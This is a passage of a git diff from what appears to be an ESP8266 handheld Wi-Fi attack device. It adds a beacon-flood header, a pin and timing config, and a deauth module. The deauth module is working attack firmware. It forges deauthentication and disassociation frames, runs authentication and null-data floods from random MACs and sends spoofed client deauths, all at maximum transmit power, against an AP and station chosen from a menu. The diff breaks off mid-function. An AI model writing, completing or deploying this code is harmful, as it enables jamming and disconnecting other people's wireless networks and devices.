FLOODING_TARGET // Flooding target SSID with random BSSIDs
|
||||
};
|
||||
|
||||
// --- Constants ---
|
||||
#define BEACON_PACKET_INTERVAL 10 // ms between sending beacon packets (adjust as needed)
|
||||
#define BEACON_CHANNEL_HOP_INTERVAL 500 // ms between channel changes
|
||||
#define MAX_BEACON_SSIDS 20 // Max number of SSIDs in our list
|
||||
#define MAX_SSID_LEN 32
|
||||
|
||||
// --- Global Variables (accessible by other modules if needed) ---
|
||||
extern bool beacon_flood_active;
|
||||
extern uint8_t beacon_target_ap_bssid[6]; // Store selected target BSSID
|
||||
extern char beacon_target_ap_ssid[33]; // Store selected target SSID
|
||||
extern uint8_t beacon_target_ap_channel; // Store selected target channel
|
||||
|
||||
// --- Function Declarations ---
|
||||
void beacon_init();
|
||||
void beacon_update();
|
||||
void beacon_stop(); // Function to stop the flood cleanly
|
||||
void beacon_draw(); // Function to draw beacon UI based on state
|
||||
void beacon_handle_input(ButtonPressType pressType); // Handle button presses
|
||||
|
||||
// --- SDK function declarations (already in deauth.h, but good practice) ---
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
int wifi_send_pkt_freedom(uint8_t *buf, int len, bool sys_seq);
|
||||
bool wifi_set_channel(uint8_t channel);
|
||||
uint8_t wifi_get_channel();
|
||||
// Add others if needed (e.g., wifi_promiscuous_enable)
|
||||
}
|
||||
|
||||
#endif // BEACON_H
|
42
src/config.h
Normal file
42
src/config.h
Normal file
@ -0,0 +1,42 @@
|
||||
#ifndef CONFIG_H
|
||||
#define CONFIG_H
|
||||
|
||||
// --- Hardware Pins ---
|
||||
#define BUTTON_PIN 0 // D3 (often marked FLASH on NodeMCU)
|
||||
|
||||
// --- Display ---
|
||||
#define SCREEN_WIDTH 128
|
||||
#define SCREEN_HEIGHT 64
|
||||
#define MAX_LINES_PER_SCREEN 5 // Max text lines for lists
|
||||
#define OLED_SDA_PIN 14 // GPIO14 (D5 on NodeMCU)
|
||||
#define OLED_SCL_PIN 12 // GPIO12 (D6 on NodeMCU)
|
||||
#define OLED_RESET_PIN -1 // -1 if not used
|
||||
|
||||
// --- Button Timing ---
|
||||
#define DEBOUNCE_TIME 50 // ms
|
||||
#define LONG_PRESS_TIME 700 // ms
|
||||
|
||||
// --- Battery Monitoring ---
|
||||
#define BATTERY_PIN A0
|
||||
// Adjust these values based on your battery and voltage divider (if any)
|
||||
#define VOLTAGE_MAX 4.2
|
||||
#define VOLTAGE_MIN 3.3
|
||||
|
||||
// --- WiFi ---
|
||||
#define DEFAULT_WIFI_CHANNEL 1
|
||||
|
||||
// --- WiFi Settings ---
|
||||
// #define MAX_APS_FOUND 30
|
||||
// #define MAX_STAS_FOUND 50
|
||||
// #define MAX_SSIDS_SAVED 10
|
||||
|
||||
// --- MAC Addresses ---
|
||||
// #define BROADCAST_MAC {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}
|
||||
|
||||
// --- Attack Settings ---
|
||||
#define DEAUTH_PACKET_INTERVAL 100 // Milliseconds between deauth packets
|
||||
#define BEACON_INTERVAL 100 // Milliseconds for beacon spam
|
||||
|
||||
#define MAX_SSID_LEN 32 // Maximum length for SSID strings
|
||||
|
||||
#endif // CONFIG_H
|
717
src/deauth.cpp
Normal file
717
src/deauth.cpp
Normal file
@ -0,0 +1,717 @@
|
||||
#include "deauth.h"
|
||||
#include "scanner.h" // Need access to ap_list, sta_list, etc.
|
||||
#include "ui.h" // For drawing and state access
|
||||
#include "utils.h" // For macToString
|
||||
#include <U8g2lib.h> // For OLED drawing
|
||||
#include "config.h" // <<< Add this for SCREEN_WIDTH, SCREEN_HEIGHT
|
||||
#include <algorithm> // For std::min if needed later
|
||||
|
||||
// --- Declare SDK functions needed ---
|
||||
extern "C" {
|
||||
#include "user_interface.h" // Already included indirectly? Still good practice.
|
||||
// Declare the function prototype directly instead of including phy_info.h
|
||||
void system_phy_set_max_tpw(uint8 max_tpw);
|
||||
int wifi_set_user_fixed_rate(uint8_t enable_mask, uint8_t rate);
|
||||
// wifi_send_pkt_freedom is also declared in deauth.h
|
||||
}
|
||||
|
||||
// --- Global Variable Definitions ---
|
||||
uint8_t deauth_target_ap_bssid[6] = {0};
|
||||
uint8_t deauth_target_sta_mac[6] = {0};
|
||||
char deauth_target_ap_ssid[33] = {0};
|
||||
bool deauth_attack_active = false;
|
||||
|
||||
// --- Constant Definitions ---
|
||||
const uint8_t broadcast_mac[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; // <<< DEFINE as const array
|
||||
|
||||
// --- V1 Attack Constants & Variables ---
|
||||
const uint8_t ATTACK_MODES = 8;
|
||||
const unsigned long ATTACK_CHANGE_INTERVAL = 100; // ms between attack technique changes (FASTER CYCLE)
|
||||
const int PACKET_REPEAT_COUNT = 20; // <<< REDUCED: Send fewer packets per burst
|
||||
const uint8_t NUM_REASONS = 12;
|
||||
const uint8_t reason_codes[NUM_REASONS] = {
|
||||
1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12
|
||||
};
|
||||
uint8_t current_attack_mode = 0; // <<< REMOVE static to make it externally visible
|
||||
static unsigned long last_attack_change = 0;
|
||||
static uint16_t deauth_seq_num = 0; // Sequence number moved here
|
||||
static unsigned long last_packet_rate_update = 0; // <<< DECLARE the variable
|
||||
|
||||
// --- Internal State ---
|
||||
static DeauthStateType currentDeauthState = DeauthStateType::SELECT_AP;
|
||||
static int selected_ap_index = 0; // Index within the *scanner's* ap_list
|
||||
static int ap_display_offset = 0; // <<< Add offset for AP list scrolling
|
||||
static int selected_sta_index = 0; // Index within the filtered list for the selected AP
|
||||
static int sta_display_offset = 0; // <<< Add offset for STA list scrolling
|
||||
static uint8_t target_channel = 1; // Channel of the target AP
|
||||
static uint32_t packets_sent = 0;
|
||||
|
||||
// Filtered list of stations for the selected AP
|
||||
static StationInfo stations_of_selected_ap[MAX_STAS_PER_AP];
|
||||
static uint8_t stations_of_selected_ap_count = 0;
|
||||
static const int BROADCAST_STA_INDEX = 0; // Index 0 in the STA list will represent Broadcast
|
||||
|
||||
// --- External UI Elements ---
|
||||
extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C oled;
|
||||
extern bool needsRedraw;
|
||||
extern UIState currentState; // <<< Make sure this is extern (needed for state changes)
|
||||
extern int currentMenuIndex; // <<< Make sure this is extern (needed for state changes)
|
||||
extern uint8_t current_channel; // <<< CORRECT TYPE: Match scanner.h (uint8_t)
|
||||
|
||||
// --- V1 Packet Structures ---
|
||||
typedef struct {
|
||||
frame_control_t frame_control;
|
||||
uint16_t duration_id;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t reason_code; // Reason for deauthentication
|
||||
} deauth_packet_t;
|
||||
|
||||
typedef struct {
|
||||
frame_control_t frame_control;
|
||||
uint16_t duration_id;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t reason_code; // Reason for disassociation
|
||||
} disassoc_packet_t;
|
||||
|
||||
typedef struct {
|
||||
frame_control_t frame_control;
|
||||
uint16_t duration_id;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t auth_alg;
|
||||
uint16_t auth_seq;
|
||||
uint16_t status_code;
|
||||
} auth_packet_t;
|
||||
|
||||
typedef struct {
|
||||
frame_control_t frame_control;
|
||||
uint16_t duration_id;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t cap_info;
|
||||
uint16_t listen_interval;
|
||||
uint8_t current_ap_mac[6]; // Added field for Reassoc Req
|
||||
// Optional: Add SSID element, Supported Rates element if needed
|
||||
} reassoc_req_packet_t; // Note: V1 used fixed size, this is more structured
|
||||
|
||||
typedef struct {
|
||||
frame_control_t frame_control;
|
||||
uint16_t duration_id;
|
||||
uint8_t addr1[6];
|
||||
uint8_t addr2[6];
|
||||
uint8_t addr3[6];
|
||||
uint16_t seq_ctrl;
|
||||
uint16_t cap_info;
|
||||
uint16_t listen_interval;
|
||||
uint8_t current_ap_mac[6]; // Added field for Reassoc Req
|
||||
// Optional: Add SSID element, Supported Rates element if needed
|
||||
} null_data_packet_t;
|
||||
// --- End V1 Packet Structures ---
|
||||
|
||||
// --- V1 Packet Templates (will be populated dynamically) ---
|
||||
static uint8_t deauth_packet_buffer[sizeof(deauth_packet_t)];
|
||||
static uint8_t disassoc_packet_buffer[sizeof(disassoc_packet_t)];
|
||||
static uint8_t auth_packet_buffer[sizeof(auth_packet_t)];
|
||||
static uint8_t null_packet_buffer[sizeof(null_data_packet_t)];
|
||||
|
||||
// --- Utility function needed by V1 logic ---
|
||||
void utils_random_mac(uint8_t* mac) {
|
||||
for (int i = 0; i < 6; i++) {
|
||||
mac[i] = random(0, 256);
|
||||
}
|
||||
mac[0] &= 0xFE; // Ensure unicast address (first byte, second LSB is 0)
|
||||
mac[0] |= 0x02; // Ensure locally administered address (first byte, second MSB is 1) - common practice
|
||||
}
|
||||
|
||||
// <<< --- Forward Declarations --- >>>
|
||||
void filter_stations_for_ap();
|
||||
void send_packet_burst(uint8_t* packet, size_t packet_size, int count, bool change_seq);
|
||||
// <<< --- End Forward Declarations --- >>>
|
||||
|
||||
// --- Initialization ---
|
||||
void deauth_init() {
|
||||
Serial.println("Deauth Module Initialized.");
|
||||
currentDeauthState = DeauthStateType::SELECT_AP;
|
||||
deauth_attack_active = false;
|
||||
selected_ap_index = 0; // Start selection at the first AP found by scanner
|
||||
selected_sta_index = 0;
|
||||
packets_sent = 0;
|
||||
memset(deauth_target_ap_bssid, 0, 6);
|
||||
memset(deauth_target_sta_mac, 0, 6);
|
||||
memset(deauth_target_ap_ssid, 0, 33);
|
||||
stations_of_selected_ap_count = 0;
|
||||
|
||||
// Set WiFi mode (should already be STA from main setup, but good practice)
|
||||
// wifi_set_opmode(STATION_MODE); // Already done in main setup
|
||||
|
||||
// Enable promiscuous mode for packet sniffing/injection
|
||||
// wifi_promiscuous_enable(0); // Disable first? Maybe not needed.
|
||||
// wifi_promiscuous_enable(1); // <<< COMMENT THIS OUT FOR NOW
|
||||
// Serial.println("Deauth Init: Enabling promiscuous mode."); // <<< COMMENT THIS OUT
|
||||
|
||||
// <<< Set Maximum Transmit Power >>>
|
||||
Serial.println("Deauth Init: Setting max TX power (82)...");
|
||||
system_phy_set_max_tpw(82); // Call the function (it returns void)
|
||||
// We can't directly check success, assume it worked if no crash.
|
||||
Serial.println(" Max TX power set command issued.");
|
||||
// <<< End Set Max TX Power >>>
|
||||
|
||||
// <<< Set Fixed Rate (like V1 might have implicitly done) >>>
|
||||
// Mask 0x3F enables all rates (1, 2, 5.5, 11, 6, 9, 12, 18, 24, 36, 48, 54 Mbps)
|
||||
// Rate 1 (1 Mbps) often gives best range/penetration for attacks
|
||||
Serial.println("Deauth Init: Setting fixed rate (1 Mbps)...");
|
||||
int rate_result = wifi_set_user_fixed_rate(0x3F, 1);
|
||||
Serial.printf(" wifi_set_user_fixed_rate result: %d\n", rate_result);
|
||||
// <<< End Set Fixed Rate >>>
|
||||
|
||||
// Ensure scanner has run and found some APs
|
||||
if (ap_count == 0) {
|
||||
Serial.println("WARN: No APs found by scanner. Deauth may not work.");
|
||||
// Optionally switch back to main menu or show an error on screen
|
||||
}
|
||||
needsRedraw = true;
|
||||
}
|
||||
|
||||
// --- Stop Deauth Module/Attack ---
|
||||
void deauth_stop() {
|
||||
Serial.println("Deauth Module Stopped.");
|
||||
deauth_attack_active = false;
|
||||
// Optional: Disable promiscuous mode if no other module needs it immediately
|
||||
// wifi_promiscuous_enable(0);
|
||||
// Serial.println("Deauth Stop: Disabled promiscuous mode.");
|
||||
needsRedraw = true;
|
||||
}
|
||||
|
||||
// --- Main Update Loop ---
|
||||
void deauth_update() {
|
||||
if (currentDeauthState != DeauthStateType::ATTACKING || !deauth_attack_active) {
|
||||
return;
|
||||
}
|
||||
|
||||
unsigned long current_time = millis();
|
||||
|
||||
// <<< Log Current Channel Periodically >>>
|
||||
static unsigned long last_channel_check = 0;
|
||||
if (current_time - last_channel_check > 1000) { // Check every second
|
||||
uint8_t actual_channel = wifi_get_channel();
|
||||
if (actual_channel != target_channel) {
|
||||
Serial.printf("!!! WARNING: Channel mismatch! Expected: %d, Actual: %d\n", target_channel, actual_channel);
|
||||
// Optional: Force channel back? Might conflict with other modules if not careful.
|
||||
// wifi_set_channel(target_channel);
|
||||
} else {
|
||||
Serial.printf("Deauth Update: Channel OK (%d)\n", actual_channel); // <<< Confirm channel
|
||||
}
|
||||
last_channel_check = current_time;
|
||||
}
|
||||
// <<< End Log Current Channel >>>
|
||||
|
||||
// --- Cycle through attack modes ---
|
||||
if (current_time - last_attack_change > ATTACK_CHANGE_INTERVAL) {
|
||||
current_attack_mode = (current_attack_mode + 1) % ATTACK_MODES;
|
||||
last_attack_change = current_time;
|
||||
Serial.printf("Changed attack mode to %d\n", current_attack_mode); // <<< Log mode change
|
||||
}
|
||||
|
||||
// --- Select Target Station MAC ---
|
||||
const uint8_t* target_sta_mac;
|
||||
if (selected_sta_index == BROADCAST_STA_INDEX) {
|
||||
target_sta_mac = broadcast_mac;
|
||||
} else {
|
||||
int actual_sta_list_index = selected_sta_index - 1;
|
||||
if (actual_sta_list_index >= 0 && actual_sta_list_index < stations_of_selected_ap_count) {
|
||||
target_sta_mac = stations_of_selected_ap[actual_sta_list_index].mac;
|
||||
} else {
|
||||
// Fallback to broadcast if index is somehow invalid
|
||||
target_sta_mac = broadcast_mac;
|
||||
// Serial.println("WARN: Invalid STA index during attack, using broadcast."); // Optional debug
|
||||
}
|
||||
}
|
||||
|
||||
// --- Execute Current Attack Mode ---
|
||||
uint8_t reason = reason_codes[random(0, NUM_REASONS)]; // Pick a random reason code
|
||||
uint16_t reason_code_16 = reason; // Convert 1-byte reason to 2-byte variable
|
||||
|
||||
yield(); // <<< ADD yield() in the main attack loop between bursts
|
||||
|
||||
switch (current_attack_mode) {
|
||||
case 0: // Deauth Broadcast (AP -> Broadcast)
|
||||
case 1: // Disassoc Broadcast (AP -> Broadcast)
|
||||
{
|
||||
uint8_t* packet_buffer = (current_attack_mode == 0) ? deauth_packet_buffer : disassoc_packet_buffer;
|
||||
size_t packet_size = (current_attack_mode == 0) ? sizeof(deauth_packet_t) : sizeof(disassoc_packet_t);
|
||||
uint8_t subtype = (current_attack_mode == 0) ? 12 : 10; // 12=Deauth, 10=Disassoc
|
||||
|
||||
// Build packet
|
||||
frame_control_t fc = {0};
|
||||
fc.protocol_version = 0;
|
||||
fc.type = 0; // Management
|
||||
fc.subtype = subtype;
|
||||
memcpy(packet_buffer, &fc, sizeof(frame_control_t)); // Frame Control
|
||||
uint16_t duration = 0x013a; // Or 0
|
||||
memcpy(packet_buffer + 2, &duration, 2); // Duration
|
||||
memcpy(packet_buffer + 4, broadcast_mac, 6); // Addr1 (Destination)
|
||||
memcpy(packet_buffer + 10, deauth_target_ap_bssid, 6); // Addr2 (Source = AP)
|
||||
memcpy(packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID)
|
||||
// Sequence number (bytes 22-23) set by send_packet_burst
|
||||
memcpy(packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes)
|
||||
|
||||
send_packet_burst(packet_buffer, packet_size, PACKET_REPEAT_COUNT, true);
|
||||
packets_sent += PACKET_REPEAT_COUNT;
|
||||
}
|
||||
break;
|
||||
|
||||
case 2: // Deauth Target STA (AP -> STA)
|
||||
case 3: // Disassoc Target STA (AP -> STA)
|
||||
if (target_sta_mac != broadcast_mac) { // Only if not broadcast
|
||||
uint8_t* packet_buffer = (current_attack_mode == 2) ? deauth_packet_buffer : disassoc_packet_buffer;
|
||||
size_t packet_size = (current_attack_mode == 2) ? sizeof(deauth_packet_t) : sizeof(disassoc_packet_t);
|
||||
uint8_t subtype = (current_attack_mode == 2) ? 12 : 10;
|
||||
|
||||
// Build packet
|
||||
frame_control_t fc = {0};
|
||||
fc.protocol_version = 0;
|
||||
fc.type = 0; // Management
|
||||
fc.subtype = subtype;
|
||||
memcpy(packet_buffer, &fc, sizeof(frame_control_t));
|
||||
uint16_t duration = 0x013a;
|
||||
memcpy(packet_buffer + 2, &duration, 2);
|
||||
memcpy(packet_buffer + 4, target_sta_mac, 6); // Addr1 (Destination = STA)
|
||||
memcpy(packet_buffer + 10, deauth_target_ap_bssid, 6); // Addr2 (Source = AP)
|
||||
memcpy(packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID)
|
||||
memcpy(packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes)
|
||||
|
||||
send_packet_burst(packet_buffer, packet_size, PACKET_REPEAT_COUNT, true);
|
||||
packets_sent += PACKET_REPEAT_COUNT;
|
||||
}
|
||||
break;
|
||||
|
||||
case 4: // Deauth from random MACs to target STA/Broadcast
|
||||
{
|
||||
uint8_t random_mac[6];
|
||||
utils_random_mac(random_mac); // <<< CALL the function defined earlier >>>
|
||||
|
||||
// Build Deauth packet
|
||||
frame_control_t fc = {0};
|
||||
fc.protocol_version = 0;
|
||||
fc.type = 0; // Management
|
||||
fc.subtype = 12; // Deauth
|
||||
memcpy(deauth_packet_buffer, &fc, sizeof(frame_control_t));
|
||||
uint16_t duration = 0x013a;
|
||||
memcpy(deauth_packet_buffer + 2, &duration, 2);
|
||||
memcpy(deauth_packet_buffer + 4, target_sta_mac, 6); // Addr1 (Destination = STA/Broadcast)
|
||||
memcpy(deauth_packet_buffer + 10, random_mac, 6); // Addr2 (Source = Random)
|
||||
memcpy(deauth_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID = Target AP)
|
||||
memcpy(deauth_packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes)
|
||||
|
||||
send_packet_burst(deauth_packet_buffer, sizeof(deauth_packet_t), PACKET_REPEAT_COUNT / 2, true); // Fewer repeats for this mode
|
||||
packets_sent += PACKET_REPEAT_COUNT / 2;
|
||||
}
|
||||
break;
|
||||
|
||||
case 5: // Auth flood to AP (from random MACs)
|
||||
{
|
||||
uint8_t random_mac[6];
|
||||
utils_random_mac(random_mac);
|
||||
|
||||
// Build Auth packet
|
||||
frame_control_t fc = {0};
|
||||
fc.protocol_version = 0;
|
||||
fc.type = 0; // Management
|
||||
fc.subtype = 11; // Auth
|
||||
memcpy(auth_packet_buffer, &fc, sizeof(frame_control_t));
|
||||
uint16_t duration = 0x013a;
|
||||
memcpy(auth_packet_buffer + 2, &duration, 2);
|
||||
memcpy(auth_packet_buffer + 4, deauth_target_ap_bssid, 6); // Addr1 (Destination = AP)
|
||||
memcpy(auth_packet_buffer + 10, random_mac, 6); // Addr2 (Source = Random)
|
||||
memcpy(auth_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID = AP)
|
||||
uint16_t auth_alg = 0; // Open System
|
||||
uint16_t auth_seq = 1;
|
||||
uint16_t status_code = 0; // Success (or try other codes?)
|
||||
memcpy(auth_packet_buffer + 24, &auth_alg, 2);
|
||||
memcpy(auth_packet_buffer + 26, &auth_seq, 2);
|
||||
memcpy(auth_packet_buffer + 28, &status_code, 2);
|
||||
|
||||
send_packet_burst(auth_packet_buffer, sizeof(auth_packet_t), PACKET_REPEAT_COUNT / 2, true);
|
||||
packets_sent += PACKET_REPEAT_COUNT / 2;
|
||||
}
|
||||
break;
|
||||
|
||||
case 6: // Null data flood (AP -> STA/Broadcast) - Can disrupt power save
|
||||
{
|
||||
// Build Null Data packet
|
||||
frame_control_t fc = {0};
|
||||
fc.protocol_version = 0;
|
||||
fc.type = 2; // Data
|
||||
fc.subtype = 4; // Null Data (no data)
|
||||
// Set ToDS=1, FromDS=0 if AP->STA
|
||||
fc.flags = 0b00000001; // ToDS=1
|
||||
memcpy(null_packet_buffer, &fc, sizeof(frame_control_t));
|
||||
uint16_t duration = 0;
|
||||
memcpy(null_packet_buffer + 2, &duration, 2);
|
||||
memcpy(null_packet_buffer + 4, deauth_target_ap_bssid, 6); // Addr1 (RA = AP BSSID)
|
||||
memcpy(null_packet_buffer + 10, target_sta_mac, 6); // Addr2 (TA = STA/Broadcast)
|
||||
memcpy(null_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (DA = AP BSSID) - Check 802.11 address fields for ToDS=1
|
||||
|
||||
send_packet_burst(null_packet_buffer, sizeof(null_data_packet_t), PACKET_REPEAT_COUNT, true);
|
||||
packets_sent += PACKET_REPEAT_COUNT;
|
||||
}
|
||||
break;
|
||||
|
||||
case 7: // Deauth Target STA (STA -> AP - Spoofed)
|
||||
if (target_sta_mac != broadcast_mac) { // Only if not broadcast
|
||||
// Build Deauth packet
|
||||
frame_control_t fc = {0};
|
||||
fc.protocol_version = 0;
|
||||
fc.type = 0; // Management
|
||||
fc.subtype = 12; // Deauth
|
||||
memcpy(deauth_packet_buffer, &fc, sizeof(frame_control_t));
|
||||
uint16_t duration = 0x013a;
|
||||
memcpy(deauth_packet_buffer + 2, &duration, 2);
|
||||
memcpy(deauth_packet_buffer + 4, deauth_target_ap_bssid, 6); // Addr1 (Destination = AP)
|
||||
memcpy(deauth_packet_buffer + 10, target_sta_mac, 6); // Addr2 (Source = STA)
|
||||
memcpy(deauth_packet_buffer + 16, deauth_target_ap_bssid, 6); // Addr3 (BSSID)
|
||||
memcpy(deauth_packet_buffer + 24, &reason_code_16, 2); // Reason Code (2 bytes)
|
||||
|
||||
send_packet_burst(deauth_packet_buffer, sizeof(deauth_packet_t), PACKET_REPEAT_COUNT, true);
|
||||
packets_sent += PACKET_REPEAT_COUNT;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Draw Deauth UI ---
|
||||
void deauth_draw() {
|
||||
// Header is drawn by ui_update
|
||||
oled.setFont(u8g2_font_5x7_tf); // Use a smaller font
|
||||
|
||||
char buffer[40];
|
||||
int yPos = 33; // Starting Y position for lists (consistent with scanner)
|
||||
int line_height = 8;
|
||||
const int items_to_display = 3; // Show 3 items per page (adjust based on font)
|
||||
const int lines_per_item_ap = 2; // APs take 2 lines
|
||||
const int gap_between_items = 1;
|
||||
const int item_block_height_ap = (line_height * lines_per_item_ap) + gap_between_items;
|
||||
const int item_block_height_sta = line_height + gap_between_items; // STAs take 1 line + gap
|
||||
|
||||
int total_sta_options = stations_of_selected_ap_count + 1; // +1 for Broadcast
|
||||
|
||||
switch (currentDeauthState) {
|
||||
case DeauthStateType::SELECT_AP:
|
||||
oled.drawStr(0, 23, "Select Target AP:");
|
||||
oled.drawHLine(0, 25, SCREEN_WIDTH);
|
||||
|
||||
if (ap_count == 0) {
|
||||
oled.drawStr(10, 40, "No APs found!");
|
||||
oled.drawStr(10, 50, "Run Scanner first.");
|
||||
} else {
|
||||
// Draw AP list
|
||||
for (int i = 0; i < items_to_display; ++i) {
|
||||
int current_item_index = ap_display_offset + i;
|
||||
if (current_item_index >= ap_count) break;
|
||||
|
||||
AccessPointInfo* ap = &ap_list[current_item_index]; // Get AP from scanner list
|
||||
bool is_selected = (current_item_index == selected_ap_index);
|
||||
const char* select_char = is_selected ? ">" : " ";
|
||||
|
||||
// <<< --- Add Debug Print Here --- >>>
|
||||
Serial.printf("Deauth Draw AP[%d]: SSID='%s', ssid[0]=%d (char:'%c')\n",
|
||||
current_item_index,
|
||||
ap->ssid,
|
||||
(int)ap->ssid[0],
|
||||
ap->ssid[0] ? ap->ssid[0] : '?'); // Print char if not null
|
||||
// <<< --- End Debug Print --- >>>
|
||||
|
||||
// Line 1: Selection, SSID, Encryption
|
||||
String encStr = encryption_to_string(ap->encryption);
|
||||
snprintf(buffer, sizeof(buffer), "%s%-16.16s %s", select_char, ap->ssid[0] ? ap->ssid : "[Hidden]", encStr.c_str());
|
||||
oled.drawStr(0, yPos, buffer);
|
||||
|
||||
// Line 2: BSSID, RSSI
|
||||
snprintf(buffer, sizeof(buffer), " %s R:%d", macToString(ap->bssid).c_str(), ap->rssi);
|
||||
oled.drawStr(0, yPos + line_height, buffer);
|
||||
|
||||
yPos += item_block_height_ap;
|
||||
}
|
||||
|
||||
// Draw scroll indicators for AP list
|
||||
if (ap_count > items_to_display) {
|
||||
if (ap_display_offset > 0) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, 27, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up arrow
|
||||
}
|
||||
if (ap_display_offset + items_to_display < ap_count) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 1, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 5, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 5); // Down arrow
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case DeauthStateType::SELECT_STA:
|
||||
oled.drawStr(0, 23, "Select Target STA:");
|
||||
oled.drawHLine(0, 25, SCREEN_WIDTH);
|
||||
|
||||
// Show selected AP SSID at the bottom for context
|
||||
snprintf(buffer, sizeof(buffer), "AP: %.20s", deauth_target_ap_ssid[0] ? deauth_target_ap_ssid : macToString(deauth_target_ap_bssid).c_str()); // Show BSSID if SSID empty
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, buffer); // Draw at bottom line
|
||||
|
||||
// Draw STA list (including Broadcast) - Single line per item
|
||||
for (int i = 0; i < items_to_display; ++i) {
|
||||
int current_item_index = sta_display_offset + i;
|
||||
if (current_item_index >= total_sta_options) break;
|
||||
|
||||
bool is_selected = (current_item_index == selected_sta_index);
|
||||
const char* select_char = is_selected ? ">" : " ";
|
||||
|
||||
if (current_item_index == BROADCAST_STA_INDEX) {
|
||||
// Draw Broadcast option
|
||||
snprintf(buffer, sizeof(buffer), "%s Broadcast", select_char);
|
||||
oled.drawStr(0, yPos, buffer);
|
||||
} else {
|
||||
// Draw actual Station MAC
|
||||
int actual_sta_list_index = current_item_index - 1; // Adjust index for stations_of_selected_ap list
|
||||
StationInfo* sta = &stations_of_selected_ap[actual_sta_list_index];
|
||||
snprintf(buffer, sizeof(buffer), "%s %s R:%d", select_char, macToString(sta->mac).c_str(), sta->rssi);
|
||||
oled.drawStr(0, yPos, buffer);
|
||||
}
|
||||
yPos += item_block_height_sta; // Use STA item height
|
||||
}
|
||||
|
||||
// Draw scroll indicators for STA list
|
||||
if (total_sta_options > items_to_display) {
|
||||
if (sta_display_offset > 0) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, 27, SCREEN_WIDTH - 9, 31, SCREEN_WIDTH - 3, 31); // Up arrow
|
||||
}
|
||||
if (sta_display_offset + items_to_display < total_sta_options) {
|
||||
oled.drawTriangle(SCREEN_WIDTH - 6, SCREEN_HEIGHT - 8, SCREEN_WIDTH - 9, SCREEN_HEIGHT - 12, SCREEN_WIDTH - 3, SCREEN_HEIGHT - 12); // Down arrow (raised slightly due to AP name at bottom)
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case DeauthStateType::ATTACKING:
|
||||
oled.drawStr(0, 23, "Deauth Attack Active");
|
||||
oled.drawHLine(0, 25, SCREEN_WIDTH);
|
||||
// Show SSID if known, otherwise BSSID
|
||||
snprintf(buffer, sizeof(buffer), "AP: %s",
|
||||
(strlen(deauth_target_ap_ssid) > 0) ? deauth_target_ap_ssid : macToString(deauth_target_ap_bssid).c_str());
|
||||
oled.drawStr(0, yPos, buffer);
|
||||
|
||||
if (memcmp(deauth_target_sta_mac, broadcast_mac, 6) == 0) {
|
||||
snprintf(buffer, sizeof(buffer), "STA: Broadcast");
|
||||
} else {
|
||||
snprintf(buffer, sizeof(buffer), "STA: %s", macToString(deauth_target_sta_mac).c_str());
|
||||
}
|
||||
oled.drawStr(0, yPos + line_height, buffer);
|
||||
|
||||
// Display the CURRENT channel being attacked in the loop, and total packets sent
|
||||
snprintf(buffer, sizeof(buffer), "Pkts: %lu Mode: %d", packets_sent, current_attack_mode);
|
||||
oled.drawStr(0, yPos + (line_height * 2), buffer);
|
||||
|
||||
if (!deauth_attack_active) {
|
||||
oled.drawStr(SCREEN_WIDTH - 40, yPos + (line_height * 2), "[Paused]");
|
||||
}
|
||||
// Add hint for controls
|
||||
oled.setFont(u8g2_font_4x6_tf); // Even smaller font
|
||||
oled.drawStr(0, SCREEN_HEIGHT - 1, "Short:Pause/Run Long:Stop");
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// --- Handle Button Input for Deauth Mode ---
|
||||
void deauth_handle_input(ButtonPressType pressType) {
|
||||
|
||||
// <<< DEBUG: Print received press type >>>
|
||||
if (pressType != ButtonPressType::NO_PRESS) {
|
||||
Serial.printf("Deauth received pressType: %d (State: %d)\n", (int)pressType, (int)currentDeauthState);
|
||||
}
|
||||
// <<< End DEBUG >>>
|
||||
|
||||
const int items_per_page = 2; // Items shown per screen
|
||||
|
||||
switch (currentDeauthState) {
|
||||
case DeauthStateType::SELECT_AP:
|
||||
if (ap_count == 0 && pressType != ButtonPressType::LONG_PRESS) return; // Allow long press to exit
|
||||
|
||||
if (pressType == ButtonPressType::SHORT_PRESS) {
|
||||
Serial.println("Deauth Select AP: Short Press -> Next AP"); // <<< DEBUG
|
||||
selected_ap_index = (selected_ap_index + 1) % ap_count;
|
||||
// Adjust display offset
|
||||
if (selected_ap_index < ap_display_offset) { // Wrap around top
|
||||
ap_display_offset = selected_ap_index;
|
||||
} else if (selected_ap_index >= ap_display_offset + items_per_page) { // Scroll down
|
||||
ap_display_offset = selected_ap_index - items_per_page + 1;
|
||||
}
|
||||
